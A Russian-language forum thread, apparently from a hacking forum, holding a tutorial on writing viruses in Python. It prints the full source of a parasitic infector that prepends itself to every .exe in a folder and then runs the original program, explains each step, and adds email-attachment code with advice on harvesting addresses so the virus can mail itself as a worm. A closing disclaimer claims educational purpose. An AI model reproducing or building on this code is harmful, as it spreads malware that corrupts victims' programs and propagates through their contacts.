Вирус на Python

  • Автор темы Sasha3I8I2
  • Дата начала
S

Sasha3I8I2

Original poster
Ни для кого не секрет, что Python помогает решать множество рутинных задач: периодическое резервное копирование файлов, отправка писем по e-mail, поиск и выполнение массы действий с файлами на харде и прочее. По причине того, что Python является языком программирования высокого уровня и сложен в освоении, то и уровень вирусов которые мы можем написать высокий. Вырусы, написанные с помощью ЯВУ, чаще всего классифицируются как HLLx (High Level Language, x — метод размножения).

Существуют несколько главных подвидов HLLx-вирусов:

  • Оверврайтеры (Overwrite) — HLLO,
  • компаньоны (Companion) — HLLC, и
  • паразиты (Parasitic) — HLLP.
Первые представляют из себя примитивные программы, просто переписывающие код жертвы своим кодом, из-за чего оригинальная программа перестает нормально функционировать. Такие вирусы очень разрушительны при своей простоте. По итогу заражения такой заразой компьютер пользователя практически полностью лишается всего установленного ПО. Короче, вандализм чистой воды.

Вирусы-компаньоны более доброжелательны к тем файлам, которые они «заражают». Слово «заражают» взято в кавычки не просто так, ибо, на самом деле HLLC-зловреды просто присваивают себе имя жертвы, а оригинальный exe-шник переименовывают или шифруют во что-нибудь иное. Так они подменяют пользовательский софт своими копиями, после чего запускают оригинальную программу из файла с новым именем. И юзер ничего не заметил, и вирус остался целым и невредимым. HLLP являются самыми сложными из ЯВУ-вирусов. Они проникают напрямую в файл-жертву, но при этом сохраняют работоспособность его кода. Из-за некоторых сложностей высокоуровневых языков программирования полноценного заражения, как у «взрослых» вирусов написанных на ассемблере, добиться почти нереально. Поэтому паразиты получаются не самыми эстетическими, но, к нашему разачарованию, это максимум того, что можно получить из ЯВУ.

По той причине, что как HLLO-, так и HLLC-вирусы слишком однобоки и на практике не встречаются нигде, мы рассмотрим разработку зловреда-паразита. Основной принцип, который они используют для заражения — внедрение в один файл с кодом-жертвой.
Так сохраняется код оригинальной программы, и при этом не привлекает лишнего внимания.

Существует масса вариаций на тему HLLP-зловредов, но мы попробуем реализовать простейшую из них. Вирус будет вписывать в начало файла жертвы свое собственное тело — полностью, со всеми заголовками и служебными структурами. Код «хорошей» программы при этом будет смещен на длину вируса. Получается, сперва будет выполняться вирус, который в конце своих делишек запустит оригинальную программу, для того чтобы лишний раз не вызывать подозрения у юзера. Ну а теперь давайте посмотрим на код:

Код HLLP-вируса:
Python:
import sys

import os

import shutil

virPath = os.path.split(sys.argv[0]);

names = os.listdir('.');

fvir = open(sys.argv[0], 'rb');

virData = fvir.read(19456);

for name in names:



namePair = os.path.splitext(name);

if namePair[1] == '.exe' and

name != virPath[1]:



os.rename(name, name + 'tmp');

fprog = open(name + 'tmp', 'rb');

progData = fprog.read();

fnew = open(name, ‘wb’);

fnew.write(virData + progData);

fnew.close();

fprog.close();

os.remove(name + 'tmp');

origProgData = fvir.read();

origProg = 'original_' + virPath[1];

forig = open(origProg, 'wb');

forig.write(origProgData);

fvir.close();

forig.close();

os.execl(origProg, ' ');

Сначала мы подключаем три модуля: sys, os, shutil. Модуль sys позволяет получить доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Таким образом, мы получаем имя выполняемого скрипта благодаря команде sys.argv[0]. Модуль os дает возможность выполнения команд, которые зависят от операционной системы. Например, получить список файлов в директории, провести определенные операции над ними и так далее. Наконец, модуль shutil позволяет копировать и перемещать файлы на жестком диске.

После импорта нужных нам модулей мы получаем имя файла, в котором содержится исходный код вируса. А при помощи команды os.listdir(‘.’) получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке exe-шником.

Если проверка подтверждает этот факт, то заражаем файл который нашли, просто заменив его собой. Внимательный читатель мог заметить, что в условии оператора if присутствует еще вот такая инструкция:

name != virPath[1],

Но сначала выполняется команда
virPath = os.path.split(sys.argv[0]).

В конце статьи я расскажу что для чего это нужно, а сейчас продолжим. Перед оператором if мы считываем в память собственное содержимое. Достигается это командой fvir. read(19456). Число 19456 — это длина вируса (не забываем, что в файле находится не только вирус, но и жертва). Почему указанна именно такая длина я тоже скажу позже. Далее ищем в текущей папке все exe-шники и инфицируем их. Просто заранее переименовав невинную программку, мы читаем ее код в буфер, после чего создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Дальше сохраним все это и удаляем оригинальный файл жертвы при помощи команды os.remove(name+’tmp’).

А вот сейчас настал самый ответственный момент — наша задача запустить оригинальный код, который мы предварительно засунули внутрь вируса. Для этого мы читаем то, что осталлось от данных из образа вируса (помните? Мы уже читали 19456 байт и указатель сместился в файле на эту позицию?), после этого сохраняем полученные показания во временный exe, который далее запустим. Так наш вирус вирус правильно отработал, и при этом запустил нужную для все еще ничего не подозревающего юзера программу.

Безусловно, наш вирус вышел неидеальным. Для примера, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не самый удобный способ. Более того, у нашего зловреда возникнут проблемы при первом старте, когда в образе находится только тело виря, а тело жертвы отсутствует. Но данные проблемы можно решить, как и любые другие.

Самое основное — показать принцип работы.

Сетевой червь
Мы создали классического инфектора, распространяется который заражая близлежащие программы. Но ведь существуют также и сетевые черви, которые используют интернет для своих мелких пакостей. Зловредам такого типа неинтересна файловая система компьютера, им нужен доступ в сеть.
Для распространения черви используют дыры в ОС и программах, рассылают себя по электронной почте и прочее. Давайте попытаемся сделать вирус, которому нужны будут именно e-mail’ы

Сначала предлагаю посмотреть, как при помощи Python отправлять письма. Маленький пример, от которого мы будем плясать в будущем:

Отправка письма:

Код:
import smtplib

from email.mime.text import MIMEText

msg = MIMEText('Message text')

# me == email отправителя

# you == email получателя

msg['Subject'] = 'Test message'

msg['From'] = me

msg['To'] = you

s = smtplib.SMTP('')

s.sendmail(me, [you], msg.as_string())

s.quit()

На данномтапе мы пользуемся библиотекой smtplib и входящий в нее пакет MIMEText. Код и так слишком простой, поэтому не требует особых разъяснений. Но на что стоит обратить внимание, так это на авторизацию на SMTP-сервере. Если, внезапно, для отправки сообщения требуется логин и пароль, то нужно будет вызвать еще одну дополнительную функцию. Так как наш вирус является файлом, нам надо прикрепить его к письму. Для этого придется импортировать еще несколько вспомогательных библиотек и написать немного кода.

Сейчас покажу как примерно это должно выглядеть:

Отправка письма с вложением:

Код:
import smtplib

import mimetypes

from email import encoders

from email.mime.multipart import MIMEMultipart

from email.mime.base import MIMEBase

outer = MIMEMultipart()

# me == email отправителя

# you == email получателя

outer['Subject'] = ‘Test message’

outer['From'] = me

outer['To'] = you

ctype, encoding = mimetypes.guess_type(path_to_file)

if ctype is None or encoding is not None:

ctype = 'application/octet-stream'

maintype, subtype = ctype.split(‘/’, 1)

fp = open(path_to_file, ‘rb’)

msg = MIMEBase(maintype, subtype)

msg.set_payload(fp.read())

fp.close()

encoders.encode_base64(msg)

msg.add_header('Content-Disposition',

'attachment', filename=file_name)

outer.attach(msg)

s = smtplib.SMTP('')

s.sendmail(me, [you], outer.as_string())

s.quit()

В импорте у нас появилась библиотека mimetypes, и модули encoders, MIMEMultipart и MIMEBase. MIMEMultipart формирует e-mail из разных видов данных (тексты, пикяи и прочее). MIMEBase работает с файлами произвольного типа — exe. За основу сообщения мы возьмём переменную типа MIMEMultipart и добавим к ней объект MIMEBase, в который до этого считали и декодировали в base64 содержимое файла что нам нужен.

В финале, когда вирус уже сам может отправлять себя в электронном сообщении, дело осталось за малым — найти, кому отправить e-mail. Тут вы можете фантазировать как вашей душе угодно. К примеру, всегда можно поискать адреса на харде , просканировав все файлы. Или можно использовать адресную книгу Outlook, но для этлго тебе будет нужен пакет Python Win32 Extensions.

Несколько замечаний
Способные ребята могут сказать: «Питон — это скрипты, а exe — бинари. Как скриптом заразить исполняемый файл Windows?». Ответ очень прост — питоновские скрипты можно конвертировать в exe. Вот так вот, и это очень просто.

Из-за того, что наши зловреды выполняются не как скрипты, а как полноценные win-приложения, в коде присутствует пара непонятных вещей, о которых я пообещал рассказать позже. Первая из них — это вызов os.path.split(). Так вот, если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). Но на примере с exeфайлом результат будет иным — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших действий нам нужно только наименование файла, то мы вызываем os.path.split().

Еще один непонятный момент — это число 19456. Но тут многие из вас уже догадались, что это размер exe, полученного после конвертации скрипта. Мой вирус весил столько после своего перерождения в бинарный формат.

Данная информация предоставлена исключительно в ознакомительных целях, чтоб вы знали как всё устроенно и не попадались на такие уловки. За любые противозаконные действия, связанные с данной информацией, администрация не несёт ответственности!
 
1

164

Original poster
На самом деле python не слишком сложен. Так же существуют проблемы и с написанием вирусов, вечно приходиться приделывать костыли.
 
S

Sasha3I8I2

Original poster
На самом деле python не слишком сложен. Так же существуют проблемы и с написанием вирусов, вечно приходиться приделывать костыли.
На питоне можно писать вирусы НО онибудут весить очень много , нат СИ стилер будет весить 100 КБ , а на питоне 10 мб
 
S

Sondzin

Original poster
На самом деле python не слишком сложен. Так же существуют проблемы и с написанием вирусов, вечно приходиться приделывать костыли.
Я не спец, но на многих ресурсах новичкам рекомендуют именно с питона начинать обучение, дескать низкий порог вхождения.
 
Название темы
Автор Заголовок Раздел Ответы Дата
K Вирус на android Вопросы и интересы 3
Emilio_Gaviriya Статья Вирус без нажатий. Вирусология 0
Support81 Вирус с Уолл-Стрит: приложения для займов тайно крадут данные 12 млн. пользователей Android Новости в сети 0
B Вирус .lnk Вопросы и интересы 2
S Вирус. Вредный экранный гусь,который крадёт курсор и оскорбляет. Полезные статьи 2
A Вирус Aгент Smith заразил более 20 миллионoв устрoйств Новости в сети 0
P Вирус или нет? Вопросы и интересы 2
vikapsh Вирус ратник что это Полезные статьи 5
obscure Интересно YouTube канал на кардер\хаккинг\скам\кодер тематику Видео/Музыка 0
ChangeExpert Ожидает оплаты ChangeExpert - первый полностью автоматизированный криптовалютный обменник на рынке РФ Обменники 1
Support81 Был героем – стал злодеем: почему уставшие ИБ-специалисты встают на путь криминала Новости в сети 0
F Ручное размещение тем на разных форумах и продажа базы. Ищу работу. Предлагаю свои услуги. 0
Support81 Loop DoS: бесконечные циклы на службе киберпреступников Новости в сети 0
M Работа на выгодных условиях без особого труда. Предоставляю работу. Ищу специалиста. 0
Support81 ФБР: технологии могут повлиять на американские выборы в 2024 году Новости в сети 0
Emilio_Gaviriya Статья Поиск уязвимостей на хосте. Уязвимости и взлом 1
Support81 Американские власти наложили санкции на разработчиков спайвари Predator Новости в сети 0
Support81 Фишинг-кит CryptoChameleon ориентирован на пользователей мобильных устройств Новости в сети 0
srv24 Продам SRV24 - выделенные серверы в 193 странах мира от 15$! Скидки при оплате на 1 год! Заходи! Сайты/Хостинг/Сервера 1
Support81 Xeno RAT опубликован на GitHub: продвинутый кибершпионаж теперь доступен каждому Новости в сети 0
Support81 Более 100 тысяч зараженных репозиториев на GitHub маскируются под легитимные проекты Новости в сети 0
Emilio_Gaviriya Статья Как ловить хакеров на живца. Уязвимости и взлом 0
Support81 Картинки PNG - новый способ доставки троянов на компьютеры организаций Новости в сети 0
Support81 Темный рыцарь на продажу: в чьих руках окажется исходный код вымогателя Knight 3.0? Новости в сети 0
Emilio_Gaviriya Статья Безопасность на серверах. Уязвимости и взлом 0
zpcny Продам ✅⭐️ Check My IP - самая глубокая проверка IP на чистоту и GEO⭐️ ✅ Дедики/VPN/соксы/ssh 4
Support81 Google разоблачила сеть компаний-шпионов, работающих на правительства Новости в сети 1
turbion0 Министерство юстиции США раскрыло схему мошенничества с криптовалютой на 1,89 млрд долларов. Новости в сети 0
turbion0 В Пензе мошенница получила от государства миллион рублей на несуществующих детей Новости в сети 0
turbion0 Мошенники оформили на малоимущих астраханцев 30 млн рублей кредитов Новости в сети 0
Support81 Взлом или небрежность? Код и пароли Binance были доступны на GitHub в течение нескольких месяцев Новости в сети 0
Emilio_Gaviriya Статья Защита конфиденциальности: Как сбросить данные на Android в экстренных ситуациях. Полезные статьи 0
Support81 Просчитались, но где? Заказ на убийство в зашифрованном чате обернулся для бандитов тюрьмой Новости в сети 0
0 Лутаем Кэш на рефаунде Сбермаркета Способы заработка 0
0 Лутаем Кэш на бесконечной подписке Яндекс Плюс Способы заработка 0
Emilio_Gaviriya Статья Инструкция по обнаружению хоста и тестированию на проникновение. Уязвимости и взлом 0
Ёшкин_кот Интересно Определение объёма встроенной видео памяти на ноутбуке. Свободное общение и флейм 0
Support81 Conti и Royal получили мощного союзника: хакеры 3AM вступают в игру, но кто они на самом деле? Новости в сети 0
Support81 Обманутые старики и пропавшие миллионы: член группировки Black Axe осужден на 10 лет тюрьмы Новости в сети 0
Support81 Запрет на выплаты вымогателям: как отказ от выкупа усилит атаки на критическую инфраструктуру Новости в сети 0
АнАлЬнАя ЧуПаКаБрА Сервис Проект с выводом на крипту + (Покупка лотерейных билетов) Проекты Private Keeper 0
DELTABEK Как зарабатывать 100.000 рублей в день на арбитраже криптовалют? Способы заработка 5
Support81 В 2023 году Роскомнадзор заблокировал на 10% меньше страниц, чем в прошлом году Новости в сети 1
D До 7к на Бездепах казино Способы заработка 1
Ёшкин_кот Интересно Пишем любой текст на листочке который держит обнажённая девушка. 18+ Свободное общение и флейм 0
NovaBaseNova Базы на заказ. Собираем по любым направлениям! Ищу работу. Предлагаю свои услуги. 0
Support81 Оплата за лайки: раскрыта мошенническая схема заработка на YouTube Новости в сети 0
M Схема заработка на онлайн рулетке Способы заработка 5
Aimer2033 Интересно Мегамаркет. Скидка 1000 рублей при покупке от 3000 рублей на все, на первый заказ. Другое 18
turbion0 Россиянка украла из офиса бумагу на 24 миллиона рублей и купила себе квартиру Новости в сети 1

Название темы